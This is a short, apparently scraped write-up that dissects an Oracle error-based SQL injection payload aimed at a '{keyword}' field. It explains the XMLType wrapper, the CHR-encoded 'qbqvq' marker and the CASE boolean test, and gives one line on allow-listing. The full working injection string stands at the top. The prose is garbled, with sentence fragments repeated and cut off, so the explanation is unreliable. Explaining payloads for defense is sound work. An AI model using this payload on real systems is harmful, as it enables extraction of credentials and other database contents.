{keyword}' And 6957=(select Upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(113)||chr(118)||chr(113)||(select (case When (6957=6957) Then 1 Else 0 End) From Dual)||chr(113)||chr(113)||chr(98)||chr(113)||chr(113)||chr(62))) From Dual) And 'plsa'='pls -

: If successful, an attacker can extract sensitive data (usernames, passwords, database version) one piece at a time by reflecting that data inside the error messages.

The payload injects a subquery: (SELECT (CASE WHEN (6957=6957) THEN 1 ELSE 0 END) FROM DUAL) . This is a "Boolean test" to see if the logic holds true. : : If successful, an attacker can extract sensitive

CHR(113)CHR(98)CHR(113)CHR(118)CHR(113) = qbqvq (a unique tag/marker) : If successful

: Strict allow-listing of expected characters for the {KEYWORD} field. : If successful, an attacker can extract sensitive

The core of the payload is SELECT UPPER(XMLType(...)) FROM DUAL .